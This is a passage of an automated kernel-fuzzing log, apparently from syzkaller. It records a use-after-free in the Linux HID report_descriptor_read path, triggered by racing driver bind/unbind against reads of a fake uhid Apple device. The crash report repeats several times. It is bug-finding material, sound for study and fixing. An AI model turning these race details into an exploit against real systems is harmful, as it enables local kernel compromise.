[ 69.450678][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450685][ T5887] __asan_memcpy+0x29/0x70
[ 69.450693][ T5887] report_descriptor_read+0xb5/0x100
[ 69.450700][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.450709][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.450717][ T5887] vfs_read+0x582/0xa70
[ 69.450727][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.450737][ T5887] ? __fget_files+0x2a/0x420
[ 69.450746][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.450756][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.450767][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450774][ T5887] do_syscall_64+0x15f/0xf80
[ 69.450784][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.450794][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450801][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.450808][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.450814][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.450822][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.450827][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.450831][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.450835][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.450840][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.450847][ T5887] </TASK>
[ 69.450849][ T5887]
[ 69.518589][ T5887] Allocated by task 5888:
[ 69.520119][ T5887] kasan_save_track+0x3e/0x80
[ 69.521718][ T5887] __kasan_kmalloc+0x93/0xb0
[ 69.523281][ T5887] __kmalloc_node_track_caller_noprof+0x4db/0x7b0
[ 69.525699][ T5887] kmemdup_noprof+0x2b/0x70
[ 69.527466][ T5887] hid_open_report+0x1f7/0xf00
[ 69.529088][ T5887] apple_probe+0xef/0x10b0
[ 69.530538][ T5887] hid_device_probe+0x416/0x7a0
[ 69.532074][ T5887] really_probe+0x267/0xaf0
[ 69.533555][ T5887] __driver_probe_device+0x1ef/0x380
[ 69.535218][ T5887] device_driver_attach+0xe0/0x1d0
[ 69.536811][ T5887] bind_store+0x1d0/0x220
[ 69.538200][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.539834][ T5887] vfs_write+0x61d/0xb90
[ 69.541140][ T5887] ksys_write+0x150/0x270
[ 69.542535][ T5887] do_syscall_64+0x15f/0xf80
[ 69.543976][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.545807][ T5887]
[ 69.546555][ T5887] Freed by task 5888:
[ 69.547788][ T5887] kasan_save_track+0x3e/0x80
[ 69.549254][ T5887] kasan_save_free_info+0x46/0x50
[ 69.550807][ T5887] __kasan_slab_free+0x5c/0x80
[ 69.552352][ T5887] kfree+0x1c5/0x640
[ 69.553568][ T5887] hid_close_report+0x632/0x720
[ 69.555081][ T5887] hid_device_remove+0x259/0x370
[ 69.556607][ T5887] device_release_driver_internal+0x46f/0x870
[ 69.558495][ T5887] unbind_store+0x1a1/0x1d0
[ 69.559898][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.561523][ T5887] vfs_write+0x61d/0xb90
[ 69.562876][ T5887] ksys_write+0x150/0x270
[ 69.564225][ T5887] do_syscall_64+0x15f/0xf80
[ 69.565671][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.567488][ T5887]
[ 69.568260][ T5887] The buggy address belongs to the object at ffff88810a256880
[ 69.568260][ T5887] which belongs to the cache kmalloc-96 of size 96
[ 69.572486][ T5887] The buggy address is located 0 bytes inside of
[ 69.572486][ T5887] freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
[ 69.576534][ T5887]
[ 69.577285][ T5887] The buggy address belongs to the physical page:
[ 69.579244][ T5887] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
[ 69.581912][ T5887] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 69.584130][ T5887] page_type: f5(slab)
[ 69.585376][ T5887] raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
[ 69.588119][ T5887] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[ 69.590734][ T5887] page dumped because: kasan: bad access detected
[ 69.592707][ T5887] page_owner tracks the page as allocated
[ 69.594478][ T5887] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
[ 69.600335][ T5887] post_alloc_hook+0x231/0x280
[ 69.601820][ T5887] get_page_from_freelist+0x24ba/0x2540
[ 69.603591][ T5887] __alloc_frozen_pages_noprof+0x18d/0x380
[ 69.605391][ T5887] allocate_slab+0x77/0x660
[ 69.606797][ T5887] refill_objects+0x339/0x3d0
[ 69.608267][ T5887] __pcs_replace_empty_main+0x321/0x720
[ 69.609954][ T5887] __kmalloc_cache_node_noprof+0x465/0x6b0
[ 69.611748][ T5887] __get_vm_area_node+0x13f/0x300
[ 69.613334][ T5887] __vmalloc_node_range_noprof+0x36a/0x1750
[ 69.615136][ T5887] __vmalloc_node_noprof+0xc2/0x100
[ 69.616740][ T5887] dup_task_struct+0x298/0x840
[ 69.618217][ T5887] copy_process+0x89b/0x4440
[ 69.619638][ T5887] kernel_clone+0x284/0x8f0
[ 69.621042][ T5887] user_mode_thread+0x110/0x180
[ 69.622590][ T5887] call_usermodehelper_exec_work+0x5c/0x230
[ 69.624415][ T5887] process_scheduled_works+0xb5d/0x1860
[ 69.626108][ T5887] page_owner free stack trace missing
[ 69.627783][ T5887]
[ 69.628533][ T5887] Memory state around the buggy address:
[ 69.630263][ T5887] ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.632737][ T5887] ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.635183][ T5887] >ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.637630][ T5887] ^
[ 69.638885][ T5887] ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.641334][ T5887] ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.643817][ T5887] ==================================================================
[ 69.650641][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.654242][ T5887] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 69.656496][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.659426][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.662548][ T5887] Call Trace:
[ 69.663610][ T5887] <TASK>
[ 69.664533][ T5887] vpanic+0x56c/0xa60
[ 69.665784][ T5887] ? __pfx_vpanic+0x10/0x10
[ 69.667189][ T5887] ? __pfx___schedule+0x10/0x10
[ 69.668691][ T5887] panic+0xc5/0xd0
[ 69.669853][ T5887] ? __pfx_panic+0x10/0x10
[ 69.671237][ T5887] ? preempt_schedule_thunk+0x16/0x30
[ 69.672913][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.674591][ T5887] check_panic_on_warn+0x89/0xb0
[ 69.676115][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.677790][ T5887] end_report+0x73/0x170
[ 69.679110][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.680788][ T5887] kasan_report+0x128/0x150
[ 69.682199][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.683913][ T5887] kasan_check_range+0x264/0x2c0
[ 69.685472][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.687183][ T5887] __asan_memcpy+0x29/0x70
[ 69.688568][ T5887] report_descriptor_read+0xb5/0x100
[ 69.690213][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.691880][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.693497][ T5887] vfs_read+0x582/0xa70
[ 69.694785][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.696237][ T5887] ? __fget_files+0x2a/0x420
[ 69.697821][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.699401][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.701084][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.703046][ T5887] do_syscall_64+0x15f/0xf80
[ 69.704524][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.706094][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.707929][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.709331][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.715256][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.717814][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.720242][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.722733][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.725141][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.727580][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.730036][ T5887] </TASK>
[ 69.731656][ T5887] Kernel Offset: disabled
[ 69.733022][ T5887] Rebooting in 86400 seconds..
OtherCrashReports:<nil> StraceOutput: TestError:]
|
| 231/3 |
2026/05/19 10:23 |
action |
truncate-log |
0m
Results: map[TruncatedConsoleOutput:Warning: Permanently added '[localhost]:4152' (ED25519) to the list of known hosts.
[+] Opened /dev/uhid successfully.
[ 69.193370][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.195575][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.197678][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created uhid device 0 successfully.
[+] Found device name: 0003:05AC:0304.0001
[+] Successfully opened bind and unbind files for driver apple.
[+] Using driver apple with device 0003:05AC:0304.0001
[ 69.202527][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Opened report_descriptor successfully.
[ 69.219730][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[+] Created read threads.
[+] Created bind thread.
[+] Waiting for 10 seconds to trigger race...
[ 69.222886][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.228506][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.233905][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.240813][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.247765][ T60] apple 0003:05AC:0304.0001: unknown main item tag 0x0
[ 69.261712][ T60] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.290857][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.312408][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.340696][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.348961][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.367822][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.386910][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.407073][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.424695][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.441630][ T5887] ==================================================================
[ 69.444223][ T5887] BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100
[ 69.446722][ T5887] Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
[ 69.449837][ T5887]
[ 69.450595][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.450605][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.450609][ T5887] Call Trace:
[ 69.450613][ T5887] <TASK>
[ 69.450617][ T5887] dump_stack_lvl+0xe8/0x150
[ 69.450627][ T5887] print_address_description+0x55/0x1e0
[ 69.450635][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450642][ T5887] print_report+0x58/0x70
[ 69.450648][ T5887] kasan_report+0x117/0x150
[ 69.450665][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450672][ T5887] kasan_check_range+0x264/0x2c0
[ 69.450678][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.450685][ T5887] __asan_memcpy+0x29/0x70
[ 69.450693][ T5887] report_descriptor_read+0xb5/0x100
[ 69.450700][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.450709][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.450717][ T5887] vfs_read+0x582/0xa70
[ 69.450727][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.450737][ T5887] ? __fget_files+0x2a/0x420
[ 69.450746][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.450756][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.450767][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450774][ T5887] do_syscall_64+0x15f/0xf80
[ 69.450784][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.450794][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.450801][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.450808][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.450814][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.450822][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.450827][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.450831][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.450835][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.450840][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.450847][ T5887] </TASK>
[ 69.450849][ T5887]
[ 69.518589][ T5887] Allocated by task 5888:
[ 69.520119][ T5887] kasan_save_track+0x3e/0x80
[ 69.521718][ T5887] __kasan_kmalloc+0x93/0xb0
[ 69.523281][ T5887] __kmalloc_node_track_caller_noprof+0x4db/0x7b0
[ 69.525699][ T5887] kmemdup_noprof+0x2b/0x70
[ 69.527466][ T5887] hid_open_report+0x1f7/0xf00
[ 69.529088][ T5887] apple_probe+0xef/0x10b0
[ 69.530538][ T5887] hid_device_probe+0x416/0x7a0
[ 69.532074][ T5887] really_probe+0x267/0xaf0
[ 69.533555][ T5887] __driver_probe_device+0x1ef/0x380
[ 69.535218][ T5887] device_driver_attach+0xe0/0x1d0
[ 69.536811][ T5887] bind_store+0x1d0/0x220
[ 69.538200][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.539834][ T5887] vfs_write+0x61d/0xb90
[ 69.541140][ T5887] ksys_write+0x150/0x270
[ 69.542535][ T5887] do_syscall_64+0x15f/0xf80
[ 69.543976][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.545807][ T5887]
[ 69.546555][ T5887] Freed by task 5888:
[ 69.547788][ T5887] kasan_save_track+0x3e/0x80
[ 69.549254][ T5887] kasan_save_free_info+0x46/0x50
[ 69.550807][ T5887] __kasan_slab_free+0x5c/0x80
[ 69.552352][ T5887] kfree+0x1c5/0x640
[ 69.553568][ T5887] hid_close_report+0x632/0x720
[ 69.555081][ T5887] hid_device_remove+0x259/0x370
[ 69.556607][ T5887] device_release_driver_internal+0x46f/0x870
[ 69.558495][ T5887] unbind_store+0x1a1/0x1d0
[ 69.559898][ T5887] kernfs_fop_write_iter+0x3af/0x540
[ 69.561523][ T5887] vfs_write+0x61d/0xb90
[ 69.562876][ T5887] ksys_write+0x150/0x270
[ 69.564225][ T5887] do_syscall_64+0x15f/0xf80
[ 69.565671][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.567488][ T5887]
[ 69.568260][ T5887] The buggy address belongs to the object at ffff88810a256880
[ 69.568260][ T5887] which belongs to the cache kmalloc-96 of size 96
[ 69.572486][ T5887] The buggy address is located 0 bytes inside of
[ 69.572486][ T5887] freed 96-byte region [ffff88810a256880, ffff88810a2568e0)
[ 69.576534][ T5887]
[ 69.577285][ T5887] The buggy address belongs to the physical page:
[ 69.579244][ T5887] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10a256
[ 69.581912][ T5887] flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
[ 69.584130][ T5887] page_type: f5(slab)
[ 69.585376][ T5887] raw: 017ff00000000000 ffff888100041280 dead000000000100 dead000000000122
[ 69.588119][ T5887] raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
[ 69.590734][ T5887] page dumped because: kasan: bad access detected
[ 69.592707][ T5887] page_owner tracks the page as allocated
[ 69.594478][ T5887] page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 52, tgid 52 (kworker/u9:2), ts 4499508242, free_ts 0
[ 69.600335][ T5887] post_alloc_hook+0x231/0x280
[ 69.601820][ T5887] get_page_from_freelist+0x24ba/0x2540
[ 69.603591][ T5887] __alloc_frozen_pages_noprof+0x18d/0x380
[ 69.605391][ T5887] allocate_slab+0x77/0x660
[ 69.606797][ T5887] refill_objects+0x339/0x3d0
[ 69.608267][ T5887] __pcs_replace_empty_main+0x321/0x720
[ 69.609954][ T5887] __kmalloc_cache_node_noprof+0x465/0x6b0
[ 69.611748][ T5887] __get_vm_area_node+0x13f/0x300
[ 69.613334][ T5887] __vmalloc_node_range_noprof+0x36a/0x1750
[ 69.615136][ T5887] __vmalloc_node_noprof+0xc2/0x100
[ 69.616740][ T5887] dup_task_struct+0x298/0x840
[ 69.618217][ T5887] copy_process+0x89b/0x4440
[ 69.619638][ T5887] kernel_clone+0x284/0x8f0
[ 69.621042][ T5887] user_mode_thread+0x110/0x180
[ 69.622590][ T5887] call_usermodehelper_exec_work+0x5c/0x230
[ 69.624415][ T5887] process_scheduled_works+0xb5d/0x1860
[ 69.626108][ T5887] page_owner free stack trace missing
[ 69.627783][ T5887]
[ 69.628533][ T5887] Memory state around the buggy address:
[ 69.630263][ T5887] ffff88810a256780: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.632737][ T5887] ffff88810a256800: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.635183][ T5887] >ffff88810a256880: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.637630][ T5887] ^
[ 69.638885][ T5887] ffff88810a256900: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.641334][ T5887] ffff88810a256980: fa fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc
[ 69.643817][ T5887] ==================================================================
[ 69.650641][ T5888] apple 0003:05AC:0304.0001: hidraw0: USB HID v0.00 Device [test-uhid-0] on
[ 69.654242][ T5887] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 69.656496][ T5887] CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
[ 69.659426][ T5887] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 69.662548][ T5887] Call Trace:
[ 69.663610][ T5887] <TASK>
[ 69.664533][ T5887] vpanic+0x56c/0xa60
[ 69.665784][ T5887] ? __pfx_vpanic+0x10/0x10
[ 69.667189][ T5887] ? __pfx___schedule+0x10/0x10
[ 69.668691][ T5887] panic+0xc5/0xd0
[ 69.669853][ T5887] ? __pfx_panic+0x10/0x10
[ 69.671237][ T5887] ? preempt_schedule_thunk+0x16/0x30
[ 69.672913][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.674591][ T5887] check_panic_on_warn+0x89/0xb0
[ 69.676115][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.677790][ T5887] end_report+0x73/0x170
[ 69.679110][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.680788][ T5887] kasan_report+0x128/0x150
[ 69.682199][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.683913][ T5887] kasan_check_range+0x264/0x2c0
[ 69.685472][ T5887] ? report_descriptor_read+0xb5/0x100
[ 69.687183][ T5887] __asan_memcpy+0x29/0x70
[ 69.688568][ T5887] report_descriptor_read+0xb5/0x100
[ 69.690213][ T5887] ? __pfx_sysfs_kf_bin_read+0x10/0x10
[ 69.691880][ T5887] kernfs_fop_read_iter+0x451/0x6b0
[ 69.693497][ T5887] vfs_read+0x582/0xa70
[ 69.694785][ T5887] ? __pfx_vfs_read+0x10/0x10
[ 69.696237][ T5887] ? __fget_files+0x2a/0x420
[ 69.697821][ T5887] __x64_sys_pread64+0x199/0x230
[ 69.699401][ T5887] ? __pfx___x64_sys_pread64+0x10/0x10
[ 69.701084][ T5887] ? entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.703046][ T5887] do_syscall_64+0x15f/0xf80
[ 69.704524][ T5887] ? trace_irq_disable+0x3b/0x140
[ 69.706094][ T5887] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 69.707929][ T5887] RIP: 0033:0x7f9bac0c499e
[ 69.709331][ T5887] Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
[ 69.715256][ T5887] RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 69.717814][ T5887] RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
[ 69.720242][ T5887] RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
[ 69.722733][ T5887] RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
[ 69.725141][ T5887] R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
[ 69.727580][ T5887] R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
[ 69.730036][ T5887] </TASK>
[ 69.731656][ T5887] Kernel Offset: disabled
[ 69.733022][ T5887] Rebooting in 86400 seconds..
TruncatedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
Read of size 85 at addr ffff88810a256880 by task syz-executor422/5887
CPU: 0 UID: 0 PID: 5887 Comm: syz-executor422 Not tainted syzkaller #1 PREEMPT(full)
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
check_region_inline mm/kasan/generic.c:-1 [inline]
kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
__asan_memcpy+0x29/0x70 mm/kasan/shadow.c:105
report_descriptor_read+0xb5/0x100 drivers/hid/hid-core.c:2265
kernfs_file_read_iter fs/kernfs/file.c:269 [inline]
kernfs_fop_read_iter+0x451/0x6b0 fs/kernfs/file.c:298
new_sync_read fs/read_write.c:493 [inline]
vfs_read+0x582/0xa70 fs/read_write.c:574
ksys_pread64 fs/read_write.c:765 [inline]
__do_sys_pread64 fs/read_write.c:773 [inline]
__se_sys_pread64 fs/read_write.c:770 [inline]
__x64_sys_pread64+0x199/0x230 fs/read_write.c:770
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f9bac0c499e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007f9baa86a098 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
RAX: ffffffffffffffda RBX: 00007f9baa86a6c0 RCX: 00007f9bac0c499e
RDX: 0000000000000100 RSI: 00007f9baa86a100 RDI: 0000000000000006
RBP: 00007f9baa86a100 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd1a266c20 R15: 00007ffd1a266d08
</TASK>
Allocated by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
__kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
kasan_kmalloc include/linux/kasan.h:263 [inline]
__do_kmalloc_node mm/slub.c:5295 [inline]
__kmalloc_node_track_caller_noprof+0x4db/0x7b0 mm/slub.c:5407
kmemdup_noprof+0x2b/0x70 mm/util.c:138
kmemdup_noprof include/linux/fortify-string.h:763 [inline]
hid_open_report+0x1f7/0xf00 drivers/hid/hid-core.c:1376
hid_parse include/linux/hid.h:1206 [inline]
apple_probe+0xef/0x10b0 drivers/hid/hid-apple.c:958
__hid_device_probe drivers/hid/hid-core.c:2822 [inline]
hid_device_probe+0x416/0x7a0 drivers/hid/hid-core.c:2859
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
device_driver_attach+0xe0/0x1d0 drivers/base/dd.c:1206
bind_store+0x1d0/0x220 drivers/base/bus.c:267
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 5888:
kasan_save_stack mm/kasan/common.c:57 [inline]
kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
poison_slab_object mm/kasan/common.c:253 [inline]
__kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
kasan_slab_free include/linux/kasan.h:235 [inline]
slab_free_hook mm/slub.c:2689 [inline]
slab_free mm/slub.c:6250 [inline]
kfree+0x1c5/0x640 mm/slub.c:6565
hid_close_report+0x632/0x720 drivers/hid/hid-core.c:734
hid_device_remove+0x259/0x370 drivers/hid/hid-core.c:2885
device_remove drivers/base/dd.c:619 [inline]
__device_release_driver drivers/base/dd.c:1352 [inline]
device_release_driver_internal+0x46f/0x870 drivers/base/dd.c:1375
unbind_store+0x1a1/0x1d0 drivers/base/bus.c:244
kernfs_fop_write_iter+0x3af/0x540 fs/kernfs/file.c:352
new_sync_write fs/read_write.c:595 [inline]
vfs_write+0x61d/0xb90 fs/read_write.c:688
ksys_write+0x150/0x270 fs/read_write.c:740
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x15f/0xf80 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
